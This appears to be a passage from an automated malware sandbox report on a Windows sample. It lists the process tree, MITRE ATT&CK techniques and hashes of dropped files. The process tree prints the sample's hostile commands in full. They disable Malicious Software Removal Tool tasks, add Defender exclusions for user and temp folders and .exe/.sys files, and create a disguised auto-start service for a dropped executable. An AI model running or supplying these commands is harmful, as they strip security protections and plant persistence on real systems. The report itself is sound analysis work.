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C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3692
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C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3708
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C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:1800
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C:\Windows\System32\powercfg.exe"C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4664
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable3⤵PID:1176
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable3⤵PID:4992
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" delete "RasConnectionManager_9d4d"3⤵
- Launches sc.exe
PID:4636
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" create "RasConnectionManager_9d4d" binpath= "C:\ProgramDataMicrosoftWindowsSchCache\NetworkListService22e8.exe" start= "auto"3⤵
- Launches sc.exe
PID:4024
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4716
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable3⤵PID:3224
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable3⤵PID:1300
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4232
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable3⤵PID:5012
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable3⤵PID:3384
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C:\Windows\System32\svchost.exe"C:\Windows\System32\svchost.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2820
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C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exeC:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2432
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1System Services
3Service Execution
3Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Power Settings
1Server Software Component
1Terminal Services DLL
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
- Size 5.0MB
- SHA256 9544aea8f1b315d809504fe127868d755e3ea86a244b240b19b70149cf925dc7
- MD5 a70784dbd95512ac7f622c5baab68714
- SHA1 05b46b76724ed1a52ba76937f48937ccc1357f11
- SHA512 cc3475eda393f1670b19a424927962b9205d0f0502a1f84aaf000b10514a2e18fa18e43c5d80da367a28090646ea5136e5313ba6e559a412b41643b873b5ccc4
- SSDEEP 98304:s1Q2fw3t7pQ1/St8F9nlNUbSYv3PsPz/dSGGY9CHsPIH+UjFfue0OTvr:n2o3t72Et8HnzUbv/PsrkGGYg1Vfu4Tv
- TLSH T19C363387A98081B5C466C3B0C65B349EF0367BE646A17C0F39DE18E94E96F18787E3C4
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Temp\__PSScriptPolicyTest_u40uorm1.jzx.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- TLSH T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0e34dfe397bd71e8431cf923d692c4c4f002ed3cffd2d5c0861758d8c23e9901
- MD5 4ea86be7ebea1aec2641e1cf299317de
- SHA1 a8cfe65cb79d08a2ad3b1a3a8dffa64b4ce62d0f
- SHA512 0543205a87fd906b30b7e3bd00c4c6dd2a3764122e571c7d02d23ddd76b7eb349adb42c33c74da13e0b69b588c45c281b89d7e75ecc9bfc225e4d151963e507f
- TLSH T11C218627B3DC8921CC86163A509D9C1076B683C7819EDFAF6FC0D614A0BF588CB21190
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 3874a93d761232b8813f5b311df0512cda4475dbf4b72c4119ef6cca212af311
- MD5 f91a5be63244eb2303a8fb447295325d
- SHA1 43ddf016d6f89aaae46de05733fdcf1a9e25d85e
- SHA512 4b8841bb84ed36ab37a1f701e9707e64a7d6b0c99d328085e98ed18605696c9fe232f007621b6505aa19b7057089d822d530fa63cbc1dfdd2b02ab4c1670c8e1
- TLSH T139218627B39C8A21CC86163A009DDC10767683C7809ECF9F6BC0D624A0BF998CA21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 0fd68598598d1dfa246506196e6e0b46ee2b3b26a91c229ff9bb290c7f63d7c1
- MD5 1469e2ebd82af1abedcfc0e1a7d57cc5
- SHA1 f5622e3d8e7d2275d44f1c1d806a90b0a52cb3bf
- SHA512 2aee37eccdc020a54dfbd0b15837848763ab7daf32c152389a349ff23eab2aa0178901402299d2116bfa1c43af747f34f03b72db99cf752ca7827f3eebd05617
- TLSH T106218627B3DC8A21CC86163A109DAC10766683C7819EDF9F6BC0D614A0BF988CB21290
- MD5 SHA1 SHA512 TLSH